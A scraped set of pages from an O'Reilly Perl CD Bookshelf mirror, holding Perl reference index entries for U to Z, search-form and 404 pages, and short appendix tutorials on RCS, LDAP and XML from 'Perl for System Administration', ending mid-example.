Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: U

-u file test operator : 2.5.10. Named Unary and File Test Operators
-u switch, perl : 6.1.2. Switches
-U switch, perl : 6.1.2. Switches
uc function : 3.2.177. uc
ucfirst function : 3.2.178. ucfirst
UDP communications : 6.2.4.3. UDP: message passing
uid (user ID)
(see also $ variables, $< variable; $ variables, $> variable)
2.9.3. Global Special Variables
3.2.15. chown
assumed : 6.2.2.2. Talking to yourself
passwd file entry from : 3.2.63. getpwuid
$UID : (see $ variables, $< variable)
$uid file statistic : 3.2.159. stat
umask function : 3.2.179. umask
unary operators
7.2.48.2. Calling conventions for unary operations
7.2.48.3. Overloadable operations
arithmetic : 1.5.4. Autoincrement and Autodecrement Operators
glob operator as : 2.3.7.3. Filename globbing operator
ideographic : 2.5.5. Ideographic Unary Operators
named
2.3.7.3. Filename globbing operator
2.5.10. Named Unary and File Test Operators
unbuffered input : 3.2.43. getc
undef (value) : 3.2.25. defined
undef function
3.2.180. undef
8.3.1. Time Efficiency
undefined scalars : 2.3.2. Scalar Values
Boolean context and : 2.3.3.2. Boolean context
underscore : (see _ (underscore))
unequal : (see equality operators; relational operators)
uninitialized variables : 1.2.1.1. Singularities
uninstall() : 7.2.16. ExtUtils::Install - Install Files from Here to There
UNIVERSAL class : 5.3.4. A Class Is Simply a Package
UNIX
clients/servers : 6.2.4.2. UNIX-domain clients and servers
security bugs : 6.3.1.3. Security bugs
unless statement : (see if statements)
unlink function : 3.2.181. unlink
unlinking : (see deleting)
unordered lists : (see hashes)
unpack function : 3.2.182. unpack
unsafe operations : 6.1.2. Switches
unshift function : 3.2.183. unshift
untie function
3.2.23. dbmclose
3.2.184. untie
5.4. Using Tied Variables
until statement : (see while loops)
use declarations : (see pragmas)
use strict : 8.2.2. Frequently Ignored Advice
use vars pragma : 7.2.2. AutoLoader - Load Functions Only on Demand
user CPU time
3.2.174. times
7.2.4.1. Notes
user efficiency : 8.3.6. User Efficiency
user ID : (see uid)
user-defined functions : (see subroutines)
username, passwd file entry from : 3.2.62. getpwnam
"uses" relationship : 5.5.7. Implementation (the "Uses" Relationship)
utime function : 3.2.186. utime
utmp file : (see /etc/utmp file)

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: V

V command (debugger) : 8.1.1. Debugger Commands
-V switch, perl : 6.1.2. Switches
-v switch, perl : 6.1.2. Switches
validate() : 7.2.28. File::CheckTree - Run Many Tests on a Collection of Files
values
arrays : (see arrays)
list : (see list values)
scalar : (see scalar values)
undefining : 3.2.180. undef
values function : 3.2.187. values
variable interpolation : 2.3.2.2. String literals
variable-length records : 2.8. Formats
variables
(see also data types)
(see also references)
2.1. Lexical Texture
2.3.1. Variables
4. References and Nested Data Structures
4.3.1. Using a Variable as a Variable Name
aliases for : 7.2.76. vars - Predeclare Global Variable Names
array : 2.3.2.5. Interpolating array values
awk versus Perl : 8.2.3. Awk Traps
binding to packages : 3.2.184. untie
configuration : (see configuration)
control, in foreach loop : 2.6.4.3. Foreach loops
declaring
2.6. Statements and Declarations
2.6.8. Scoped Declarations
environment : 2.9.4. Global Special Arrays
per filehandle : 2.9.2. Per-Filehandle Special Variables
format : 2.8.1. Format Variables
global
2.9.3. Global Special Variables
7.2.76. vars - Predeclare Global Variable Names
hash : 2.3.5. Hashes (Associative Arrays)
instance : (see instance variables)
interpolation : 1.2.1.1. Singularities
interpretation : 1.2.1.1. Singularities
local
3.2.87. local
8.2.2. Frequently Ignored Advice
my
(see
(see my declarations)
names for
1.2.1. Nouns
8.4. Programming with Style
package, displaying : 8.1.1. Debugger Commands
private : (see local, variables)
qualifying names of : 7.2.61. Symbol - Generate Anonymous Globs; Qualify Variable Names
resetting values of : 3.2.124. reset
special : 2.9. Special Variables
translating with : 2.4.2. Pattern-Matching Operators
tying
3.2.171. tie
5.4. Using Tied Variables
use strict 'vars' : 7.2.59. strict - Restrict Unsafe Constructs
vars module
5.4.1. Tying Scalars
7.2.76. vars - Predeclare Global Variable Names
vec function : 3.2.188. vec
vectors, strings as : 3.2.188. vec
verbose warning messages : 7.2.10. diagnostics - Force Verbose Warning Diagnostics
verbs : 1.2.2. Verbs
version, module : 7.2.15.2. Module version checking
version, Perl : 2.9.3. Global Special Variables
vertical bar : (see | (vertical bar))
vi editor, debugger and : 8.1.5. Editor Support for Debugging
void context : 2.3.3.3. Void context

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: W

w command (debugger)
8.1.1. Debugger Commands
8.1.2. Using the Debugger
-w file test operator : 2.5.10. Named Unary and File Test Operators
-W file test operator : 2.5.10. Named Unary and File Test Operators
\w (forward character) : 1.7. Regular Expressions
-w switch, perl
2.9.4. Global Special Arrays
6.1.2. Switches
9. Diagnostic Messages
diagnostics module : 7.2.10. diagnostics - Force Verbose Warning Diagnostics
wait function
2.9.3. Global Special Variables
3.2.189. wait
waitpid function : 3.2.190. waitpid
wantarray function : 3.2.191. wantarray
warn function : 3.2.192. warn
__WARN__ token : 2.9.4. Global Special Arrays
$WARNING : (see $ variables, $^W variable)
warning messages
2.9.4. Global Special Arrays
3.2.192. warn
6.1.2. Switches
9. Diagnostic Messages
diagnostics module : 7.2.10. diagnostics - Force Verbose Warning Diagnostics
while loops
1.6.2.1. The while and until statements
2.6.4.1. While statements
angle operator and $_ : 2.3.7.2. Line input (angle) operator
eof function in : 3.2.31. eof
whitespace
1.7. Regular Expressions
2.1. Lexical Texture
3. Functions
8.4. Programming with Style
/x modifier : 2.4. Pattern Matching
wildcard : (see glob operator)
word character : 1.7. Regular Expressions
words
(see also characters)
2.4. Pattern Matching
\b assertion
1.7.3. Nailing Things Down
2.4.1.2. The rules of regular expression matching
2.4.1.3. The fine print
World Wide Web : Usenet Newsgroups
wrap() : 7.2.71. Text::Wrap - Wrap Text into a Paragraph
wrapper programs : 6.3.1.3. Security bugs
wrapsuid program : 6.3.1.3. Security bugs
write function : 3.2.193. write
writemain() : 7.2.20. ExtUtils::Miniperl - Write the C Code for perlmain.c
WriteMakefile() : 7.2.18. ExtUtils::MakeMaker - Create a Makefile for a Perl Extension
writespace : 7.2.70. Text::Tabs - Expand and Unexpand Tabs
writing
data via low-level system call
3.2.110. print
3.2.111. printf
3.2.168. syswrite
3.2.193. write
Makefiles : 7.2.18. ExtUtils::MakeMaker - Create a Makefile for a Perl Extension
MANIFEST file : 7.2.19. ExtUtils::Manifest - Utilities to Write and Check a MANIFEST File
permission for processes : 7.2.39. IPC::Open2 - Open a Process for Both Reading and Writing
scripts : (see scripts)
to shared memory segment ID : 3.2.147. shmwrite

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: X

x (repetition) operator : 2.5.7. Multiplicative Operators
X command (debugger) : 8.1.1. Debugger Commands
-X file test operator : 2.5.10. Named Unary and File Test Operators
-x file test operator : 2.5.10. Named Unary and File Test Operators
/x modifier
2.4. Pattern Matching
2.4.2. Pattern-Matching Operators
x operator : 1.5.2. String Operators
-x switch, perl
6.1.1. Command Processing
6.1.2. Switches
x= (assignment) operator : 2.5.17. Assignment Operators
xor operator : 2.5.20. Logical and, or, not, and xor
XOR operator : 8.2.3. Awk Traps

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Y

y/// (translation) operator
2.4.2. Pattern-Matching Operators
3.2.194. y///

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Z

-z file test operator : 2.5.10. Named Unary and File Test Operators
\Z (string boundary)
2.4.1.2. The rules of regular expression matching
2.4.1.3. The fine print
zombie processes : 6.2.1. Signals

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Search The Perl CD Bookshelf

The Perl CD Bookshelf

Full Text Search

Use this HTML form to search the content of all of the books on The Perl CD Bookshelf.

Results report format:

Search for

If you are having difficulty searching, or if you have not used this search utility before, please read this.

The Perl CD Bookshelf Navigation The Perl CD Bookshelf Perl in a Nutshell Learning Perl Learning Perl on Win32 Systems Programming Perl Advanced Perl Programming Perl Cookbook

Copyright © 1999 O'Reilly & Associates. All Rights Reserved.


Search Advanced Perl Programming

Advanced Perl Programming

Full Text Search

Use this HTML form to search the contents of Advanced Perl Programming.

Results report format:

Search for

If you are having difficulty searching, or if you have not used this search utility before, please read this.

The Perl CD Bookshelf Navigation The Perl CD Bookshelf Perl in a Nutshell Learning Perl Learning Perl on Win32 Systems Programming Perl Advanced Perl Programming Perl Cookbook

Copyright © 1999 O'Reilly & Associates. All Rights Reserved.


Search Perl Cookbook

Full Text Search

Use this HTML form to search the contents of Perl Cookbook.

Results report format:

Search for

If you are having difficulty searching, or if you have not used this search utility before, please read this.

The Perl CD Bookshelf Navigation The Perl CD Bookshelf Perl in a Nutshell Learning Perl Learning Perl on Win32 Systems Programming Perl Advanced Perl Programming Perl Cookbook

Copyright © 1999 O'Reilly & Associates. All Rights Reserved.


Search Learning Perl

Full Text Search

Use this HTML form to search the contents of Learning Perl.

Results report format:

Search for

If you are having difficulty searching, or if you have not used this search utility before, please read this.

The Perl CD Bookshelf Navigation The Perl CD Bookshelf Perl in a Nutshell Learning Perl Learning Perl on Win32 Systems Programming Perl Advanced Perl Programming Perl Cookbook

Copyright © 1999 O'Reilly & Associates. All Rights Reserved.


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/search/macsrch.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


Search Perl in a Nutshell

Perl in a Nutshell

Full Text Search

Use this HTML form to search the contents of Perl in a Nutshell.

Results report format:

Search for

If you are having difficulty searching, or if you have not used this search utility before, please read this.

The Perl CD Bookshelf Navigation The Perl CD Bookshelf Perl in a Nutshell Learning Perl Learning Perl on Win32 Systems Programming Perl Advanced Perl Programming Perl Cookbook

Copyright © 1999 O'Reilly & Associates. All Rights Reserved.


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/search/othsrch.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


Search Programming Perl

Full Text Search

Use this HTML form to search the contents of Programming Perl.

Results report format:

Search for

If you are having difficulty searching, or if you have not used this search utility before, please read this.

The Perl CD Bookshelf Navigation The Perl CD Bookshelf Perl in a Nutshell Learning Perl Learning Perl on Win32 Systems Programming Perl Advanced Perl Programming Perl Cookbook

Copyright © 1999 O'Reilly & Associates. All Rights Reserved.


Searching The Perl CD Bookshelf

The Perl CD Bookshelf

About Searching this CD

This CD includes search technology from Astaware technologies Inc. Your Web browser uses an ordinary HTML form like this one to perform the search by communicating with a single-purpose Web server, written in Java.

Therefore, in order to search the CD, the search server must be running. In order for the search server to run, you must have a Java interpreter, either the Java Developers' Kit (JDK) or the Java Runtime Engine (JRE). A JRE is provided for some platforms on this CD; you may already have the JDK installed as part of your operating system. If you haven't run the server before, or if you're having difficulty, please see below.

The search engine supports basic Boolean operators: AND, OR, and NOT. You can use these to refine your search. Example:

pipe AND stderr NOT stdout

You can use an asterisk (*) as a wildcard operator:

bob*
will match "Bob", "bobwhite", and "bobsled".
*bob
will match "Bob", "kabob", and "nabob".
*bob*
will match "Bob", "bobsled", "kabob", and "discombobulate".

The Results report format setting controls the style of report received. A Simple report will just list the documents found and a relevancy ranking; an Expanded report will give the first section of the document's content.

The search engine does not search for punctuation; it only indexes words of letters and numbers. For example, to find <STDIN>, search for STDIN or stdin (case does not matter). Note that there is an index available which indexes symbols and keywords; this can also be useful for finding concepts whose names do not necessarily appear literally in the text of a book.

Some punctuation can be used as shortcuts for Boolean keywords:

&
AND
|
OR
!
NOT

The example search above can therefore be entered as

pipe & stderr ! stdout

If you use any of these characters in a context where the search engine does not understand them, you will get an "Invalid response" error message. Correct the syntax of your search expression and try again.

Proxy Servers

The search server uses localhost (IP address 127.0.0.1, which is always the current machine) to perform searches. If you use a proxy server, make sure that localhost is excluded from the proxy. You will find this setting within your Internet options under your browser's proxy settings. Check with your system administrator to see if other advanced proxy server settings are necessary.

In Netscape Communicator

  1. Select Edit -> Preferences.

  2. Under the Advanced section, select Proxies.

  3. Select Manual proxy configuration and click View....

  4. In the No Proxy for: box, enter localhost.

In Microsoft Internet Explorer

  1. Select View -> Internet Options.... (In MSIE 5.0, select Tools -> Internet Options....)

  2. Select the Connections tab.

  3. Click LAN Settings....

  4. In the Proxy Server section, click Advanced....

  5. In the Exceptions box, enter localhost.

Using the Search Server

  • Are you using UNIX?
  • Are you running Windows 95, Windows 98, or Windows NT?
  • Are you using a Macintosh?
  • Are you using something else?

The Perl CD Bookshelf Navigation The Perl CD Bookshelf Perl in a Nutshell Learning Perl Learning Perl on Win32 Systems Programming Perl Advanced Perl Programming Perl Cookbook


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/search/unixsrch.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


404 Not Found

Not Found

The requested URL /e-book/oreillybookself/perl/search/winsrch.htm was not found on this server.

Apache/1.3.17 Server at www.leothreads.com Port 80


Search Learning Perl on Win32 Systems

Learning Perl on Win32 Systems

Full Text Search

Use this HTML form to search the contents of Learning Perl on Win32 Systems.

Results report format:

Search for

If you are having difficulty searching, or if you have not used this search utility before, please read this.

The Perl CD Bookshelf Navigation The Perl CD Bookshelf Perl in a Nutshell Learning Perl Learning Perl on Win32 Systems Programming Perl Advanced Perl Programming Perl Cookbook

Copyright © 1999 O'Reilly & Associates. All Rights Reserved.


The Five-Minute RCS Tutorial (Perl for System Administration)

 Perl for System AdministrationSearch this book

Appendix A. The Five-Minute RCS Tutorial

Contents:

References for More Information

This quick tutorial will teach you everything you need to know about how to use Revision Control System (RCS) for system administration. RCS has considerably more functionality than we'll discuss here, so be sure to take a look at the manual pages and the reference at the end of this appendix if you plan to use it heavily.

RCS functions like a car rental agency. Only one person at a time can actually rent a particular car and drive it off the lot. A new car can only be rented after the agency has added it to their pool. Customers can browse the list of cars (and their features) at any time, but if two people want to rent the same car, the second must wait for the car to be returned to the lot before renting it. Finally, car rental agencies inspect cars very carefully after they have been returned and record any changes to the car during the rental. All of these properties hold true for RCS as well.

In RCS, a file is like a car. If you wish to keep track of a file using RCS (i.e., add it to the rental lot) you "check it in" for the first time:

$ ci -u filename

ci stands for "check in," and the -u tells RCS to leave the file in place during the check-in. When a file is checked in (i.e., made available for rental), RCS does one of two things to remind the user that the file is under RCS's control:

  1. Deletes the original file, leaving only the RCS archive file behind. This archive file is usually called filename,v and is either kept in the same directory as the original file or in a subdirectory called RCS (if the user creates it).

  2. If -u is used as we showed above, it checks the file out again, leaving the permissions on the file to be "read-only."

To modify a file under RCS's control (i.e., rent a car), you first need to "check-out" that file:

$ co -l filename

The -l switch tells RCS to "strictly lock" that file (i.e., do not allow any other user to check out the file at the same time). Other switches that are commonly used with co are:

  • -r <revision number>: to check out an older revision of a file.

  • -p: to print a past revision to the screen without actually checking it out.

Once you are done modifying a file, you need to check it back in using the same command we used above to put the file under RCS in the first place (ci -u filename). The check-in process stores any changes made to this file in a space-efficient manner.

Each time a file that has been modified is checked in, it is given a new revision number. At check-in time, RCS will prompt you for a comment to be placed in the change log it automatically keeps for each file. This log and the listing of the current person who has checked out a file can be viewed using rlog filename.

If someone neglects to check their changes to a particular file back into RCS (e.g., they've gone home for the day and you have a real need to change the file yourself ), you can break their lock using rcs-u filename. This command will prompt for a break-lock message that is mailed to the person who owns the lock.

After breaking the lock, you should check to see how the current copy differs from the RCS archive revision. rcsdiff filename will show you this information. If you wish to preserve these changes, check the file in (with an appropriate change-log comment), and then check it back out again before working on it. rcsdiff, like our co example above, can also take a -r <revision number> flag to allow you to compare two past revisions.

Table A-1 lists some command RCS operations and their command lines.

Table A-1. Common RCS Operations

RCS Operation | Command Line
Initial check-in of file (leaving file active in filesystem) | ci -u filename
Check out with lock | co -l filename
Check in and unlock (leaving file active in filesystem) | ci -u filename
Display version x.y of a file | co -px.y filename
Undo to version x.y (overwrites file active in filesystem with the specified revision) | co -rx.y filename
Diff file active in filesystem and last revision | rcsdiff filename
Diff versions x.y and x.z | rcsdiff -rx.y -rx.z filename
View log of checkins | rlog filename
Break an RCS lock held by another person on a file | rcs -u filename

Believe it or not, this is really all you need to get started using RCS. Once you start using it for system administration, you'll find it pays off handsomely.

A.1. References for More Information

ftp://ftp.gnu.org/pub/gnu/rcs has the latest source code for the RCS package.

Applying RCS and SCCS: From Source Control to Project Control, by Don Bolinger and Tan Bronson (O'Reilly, 1995).

http://www.sourcegear.com/CVS is where to go if you find you need features not found in RCS. The next step up is the very popular Concurrent Versions System (CVS). This is its main distribution point.

Previous | Home | Next
10.7. References for More Information | Book Index | B. The Ten-Minute LDAP Tutorial
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Ten-Minute LDAP Tutorial (Perl for System Administration)

 Perl for System AdministrationSearch this book

Appendix B. The Ten-Minute LDAP Tutorial

Contents:

LDAP Data Organization

The Lightweight Directory Access Protocol (LDAP) is one of the pre-eminent directory services deployed in the world today. Over time, system administrators are likely to find themselves dealing with LDAP servers and clients in a number of contexts. This tutorial will give you an introduction to the LDAP nomenclature and concepts you'll need when using the material in Chapter 6, "Directory Services".

The action in LDAP takes place around a data structure known as an entry. Figure B-1 is a picture to keep in mind as we look at an entry's component parts.

Figure B-1. The LDAP entry data structure

An entry has a set of named component parts called attributes that hold the data for that entry. To use database terms, they are like the fields in a database record. In Chapter 6, "Directory Services" we'll use Perl to keep a list of machines in an LDAP directory. Each machine entry will have attributes like name, model, location, owner, etc.

Besides its name, an attribute consists of a type and a set of values that conform to that type. If you are storing employee information, your entry might have a phone attribute that has a type of telephoneNumber. The values of this attribute might be that employee's phone numbers. A type also has a syntax that dictates what kind of data can be used (strings, numbers, etc.), how it is sorted, and how it is used in a search (is it case-sensitive?).

Each entry has a special attribute called objectClass. objectClass contains multiple values that, when combined with server and user settings, dictate which attributes must and may exist in that particular entry.

Let's look a little closer at the objectClass attribute for a moment because it illustrates some of the important qualities of LDAP and allows us to pick off the rest of the jargon we haven't seen yet. If we consider the objectClass attribute, we notice the following:

LDAP is object-oriented

Each of the values of an objectClass attribute is a name of an object class. These classes either define the set of attributes that can or must be in an entry, or expand on the definitions inherited from another class.

Here's an example: an objectClass in an entry may contain the string residentialPerson. RFC2256, which has the daunting title of "A Summary of the X.500(96) User Schema for use with LDAPv3," defines the residentialPerson object class like this:

residentialPerson
   ( 2.5.6.10 NAME 'residentialPerson' SUP person STRUCTURAL MUST l
     MAY ( businessCategory $ x121Address $ registeredAddress $
     destinationIndicator $ preferredDeliveryMethod $ telexNumber $
     teletexTerminalIdentifier $ telephoneNumber $
     internationaliSDNNumber $
     facsimileTelephoneNumber $ preferredDeliveryMethod $ street $
     postOfficeBox $ postalCode $ postalAddress $
     physicalDeliveryOfficeName $ st $ l ) )

This definition says that an entry of object class residentialPerson must have an l attribute (short for locality) and may have a whole other set of attributes (registeredAddress, postOfficeBox, etc.). The key part of the specification is the SUP person string. It says that the superior class (the one that residentialPerson inherits its attributes from) is the person object class. That definition looks like this:

person
   ( 2.5.6.6 NAME 'person' SUP top STRUCTURAL MUST ( sn $ cn )
     MAY ( userPassword $ telephoneNumber $ seeAlso $ description ) )

So an entry with object class residentialPerson must have sn (surname), cn (common name), and l (locality) attributes and may have the other attributes listed in the MAY sections of these two RFC excerpts. We also know that person is the top of the object hierarchy for residentialPerson since its superior class is the special abstract class top.

In most cases, you can get away with using the pre-defined standard object classes. If you need to construct entries with attributes not found in an existing object class, it is usually good form to locate the closest existing object class and build upon it, like residentialPerson, builds upon person above.

LDAP has its origins in the database world

A second quality we see in objectClass is LDAP's database roots. A collection of object classes that specify attributes for the entries in an LDAP server is called a schema. The RFC we quoted above is one example of an LDAP schema specification. We won't be addressing the considerable issues surrounding schema in this book. Like database design, schema design can be a book topic in itself, but you should at least be familiar with the term "schema" because it will pop up later.

LDAP is not limited to storing information in strict tree structures

One final note about objectClass to help us move from our examination of a single entry to the larger picture: our previous object class example specified top at the top of the object hierarchy, but there's another quasi-superclass worth mentioning: alias. If alias is specified, then this entry is actually an alias for another entry (specified by the aliasedObjectName attribute in that entry). LDAP strongly encourages hierarchical tree structures, but it doesn't demand them. It's important to keep this flexibility in mind when you code to avoid making incorrect assumptions about the data hierarchy on a server.

B.1. LDAP Data Organization

So far we've been focused on a single entry, but there's very little call for a directory that contains only one entry. When we expand our focus and consider a directory populated with many entries, we are immediately faced with the question that began this chapter: How do you find anything?

The stuff we've discussed so far all falls under what the LDAP specification calls its "information model." This is the part that sets the rules for how information is represented. But for the answer to our question we need to look to LDAP's "naming model," which dictates how information is organized.

If you look at Figure B-1, you can see we've discussed all of the parts of an entry except for its name. Each entry has a name, known as its Distinguished Name (DN). The DN consists of a string of Relative Distinguished Names (RDNs). We'll return to DNs in a moment, but first let's concentrate on the RDN building blocks.

An RDN is composed of one or several attribute name-value pairs. For example: cn=JaySekora (where cn stands for "common name") could be an RDN. The attribute name is cn and the value is Jay Sekora.

Neither the LDAP nor the X.500 specifications dictate which attributes should be used to form an RDN. They do require RDNs to be unique at each level in a directory hierarchy. This restriction exists because LDAP has no inherent notion of "the third entry in the fourth branch of a directory tree" so it must rely on unique names at each level to distinguish between individual entries at that level. Let's see how this restriction plays out in practice.

Take, for instance, another example RDN: cn=Robert Smith. This is probably not a good RDN choice, since there is likely to be more than one Robert Smith in an organization of even moderate size. If you have a large number of people in your organization and your LDAP hierarchy is relatively flat, name collisions like this are to be expected. A better entry would combine two attributes, perhaps cn=Robert Smith+l=Boston. (Attributes in RDNs are combined with a plus sign.)

Our revised RDN, which appends a locality attribute, still has problems. We may have postponed a name clash, but we haven't eliminated the possibility. Furthermore, if Smith moves to some other facility, we'll have to change both the RDN for the entry and the location attribute in the entry. Perhaps the best RDN we could use would be one with a unique and immutable user ID for this person. For example, we could use that person's email address so the RDN would be uid=rsmith. This example should give you a taste of the decisions involved in the world of schemas.

Astute readers will notice that we're not really expanding our focus; we're still puttering around with a single entry. The RDN discussion was a prelude to this; here's the real jump: entries live in a tree-like[1] structure known as a Directory Information Tree (DIT) or just directory tree. The latter is probably the preferred term to use, because in X.500 nomenclature DIT usually refers to a single universal tree, similar to the global DNS hierarchy or the Management Information Base (MIB) we'll be seeing later when we discuss SNMP.

[1]It is called tree-like rather than just tree because the alias object class we mentioned earlier allows you create a directory structure that is not strictly a tree (at least from a computer-science, directed-acyclic-graph perspective).

Let's bring DNs back into the picture. Each entry in a directory tree can be located by its Distinguished Name. A DN is composed of an entry's RDN followed by all of the RDNs (separated by commas or semi-colons) found as you walk your way back up the tree towards the root entry. If we follow the arrows in Figure B-2 and accumulate RDNs as we go, we'll construct DNs for each highlighted entry.

Figure B-2. Walking back up the tree to produce a DN

In the first picture, our DN would be:

cn=Robert Smith, l=main campus, ou=CCS, o=Hogwarts School, c=US

In the second, it is:

uid=rsmith, ou=systems, ou=people, dc=ccs, dc=hogwarts, dc=edu

ou is short for organizational unit, o is short for organization, dc stands for "domain component" &#224; la DNS, and c is for country (Sesame Street notwithstanding).

An analogy is often made between DNs and absolute pathnames in a filesystem, but DNs are more like postal addresses because they have a "most specific component first" ordering. In a postal address like:

Pat Hinds

288 St. Bucky Avenue

Anywhere, MA 02104

USA

you start off with the most specific object (the person) and get more vague from there, eventually winding up at the least specific component (the country or planet). So too it goes with DNs. You can see this ordering in our DN examples.

The very top of the directory tree is known as the directory's suffix, since it is the end portion of every DN in that directory tree. Suffixes are important when constructing a hierarchical infrastructure using multiple delegated LDAP servers. Using an LDAPv3 concept known as a referral, it is possible to place an entry in the directory tree that essentially says, "for all entries with this suffix, go ask that server instead." Referrals are specified using an LDAP URL, which look similar to your run-of-the-mill web URL except they reference a particular DN or other LDAP-specific information. Here's an example from RFC2255, the RFC that specifies the LDAP URL format:

ldap://ldap.itd.umich.edu/o=University%20of%20Michigan,c=US?postalAddress

Previous | Home | Next
A.1. References for More Information | Book Index | C. The Eight-Minute XML Tutorial
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Eight-Minute XML Tutorial (Perl for System Administration)

 Perl for System AdministrationSearch this book

Appendix C. The Eight-Minute XML Tutorial

Contents:

XML Is a Markup Language
XML Is Picky
Two Key XML Terms
Leftovers

One of the most impressive features of XML (eXtensible Markup Language) is how little you need to know to get started. This appendix gives you some of the key pieces of information. For more information, see one of the many books being released on the topic or the references at the end of Chapter 3, "User Accounts".

C.1. XML Is a Markup Language

Thanks to the ubiquity of XML's older and stodgier cousin, HTML, almost everyone is familiar with the notion of a markup language. Like HTML, XML consists of plain text interspersed with little bits of special descriptive or instructive text. HTML has a rigid definition for which bits of markup text, called tags, are allowed, while XML allows you to make up your own.

XML provides a range of expression far beyond that of HTML. We see an example of this expression in Chapter 3, "User Accounts", but here's another simple example that should be easy to read even without any prior XML experience:

<machine>
  <name> quidditch </name>
  <department> Software Sorcery </department>
  <room> 129A </room>
  <owner> Harry Potter </owner>
  <ipaddress> 192.168.1.13 </ipaddress>
</machine>
Previous | Home | Next
B.1. LDAP Data Organization | Book Index | C.2. XML Is Picky
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


XML Is Picky (Perl for System Administration)

 Perl for System AdministrationSearch this book

C.2. XML Is Picky

Despite XML's flexibility, it is pickier in places than HTML. There are syntax and grammar rules that your data must follow. These rules are set down rather tersely in the XML specification found at http://www.w3.org/TR/1998/REC-xml-19980210. Rather than poring through the official spec, I recommend you seek out one of the annotated versions, like Tim Bray's version at http://www.xml.com, or Robert Ducharme's book XML: The Annotated Specification (Prentice Hall). The former is online and free; the latter has many good examples of actual XML code.

Here are two of the XML rules that tend to trip up people who know HTML:

  1. If you begin something, you must end it. In the above example we started a machine listing with <machine> and finished it with </machine>. Leaving off the ending tag would not have been acceptable XML.

    In HTML, tags like <img src="picture.jpg" > are legally allowed to stand by themselves. Not so in XML; this would have to be written either as:

<img src="picture.jpg" > </img>

or:

<img src="picture.jpg" />

The extra slash at the end of this last tag lets the XML parser know that this single tag serves as both its own start and end tag. Data and its surrounding start and end tags is called an element.

  1. Start tags and end tags must mirror themselves exactly. Mixing case in not allowed. If your start tag is <MaChINe>, your end tag must be </MaChINe>, and cannot be </MACHine> or any other case combination. HTML is much more forgiving in this regard.

These are two of the general rules in the XML specification. But sometimes you want to define your own rules for an XML parser to enforce. By "enforce" we mean "complain vociferously" or "stop parsing" while reading the XML data. If we use our previous machine database XML snippet as an example, one additional rule we might to enforce is "all <machine> entries must contain a <name> and an <ipaddress> element." You may also wish to restrict the contents of an element to a set of specific values like "YES" or "NO."

How these rules get defined is less straightforward than the other material we'll cover because there are several complimentary and competitive proposals for a definition "language" afloat at the moment. XML will eventually be self-defining (i.e., the document itself or something linked into the document describes its structure).

The current XML specification uses a DTD (Document Type Definition), the SGML standby. Here's an example piece of XML code from the XML specification that has its definition code at the beginning of the document itself:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE greeting [
  <!ELEMENT greeting (#PCDATA)>
]>
<greeting>Hello, world!</greeting>

The first line of this example specifies the version of XML in use and the character encoding (Unicode) for the document. The next three lines define the types of data in this document. This is followed by the actual document content (the <greeting> element) in the final line of the example.

If we wanted to define how the <machine> XML code at the beginning of this appendix should be validated, we could place something like this at the beginning of the file:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE machines [
  <!ELEMENT machine (name,department,room,owner,ipaddress)>
  <!ELEMENT name       (#PCDATA)>
  <!ELEMENT department (#PCDATA)>
  <!ELEMENT room       (#PCDATA)>
  <!ELEMENT owner      (#PCDATA)>
  <!ELEMENT ipaddress  (#PCDATA)>
]>

This definition requires that a machine element consist of name, department, room, owner, and ipaddress elements (in this specific order). Each of those elements is described as being PCDATA (see the Section C.4, "Leftovers" section at the end of this appendix).

Another popular set of proposals that are not yet specifications recommend using data descriptions called schemas for DTD-like purposes. Schemas are themselves written in XML code. Here's an example of schema code that uses the Microsoft implementation of the XML-data proposal found at http://www.w3.org/TR/1998/NOTE-XML-data/:

<?XML version='1.0' ?>
<schema id='MachineSchema'
        xmlns="urn:schemas-microsoft-com:xml-data"
        xmlns:dt="urn:schemas-microsoft-com:datatypes">

<!-- define our element types (they are all just strings/PCDATA) -->
    <elementType id="name">
        <string/>
    </elementType>
    <elementType id="department">
        <string/>
    </elementType>
    <elementType id="room">
      <string/>
    </elementType>
    <elementType id="owner">
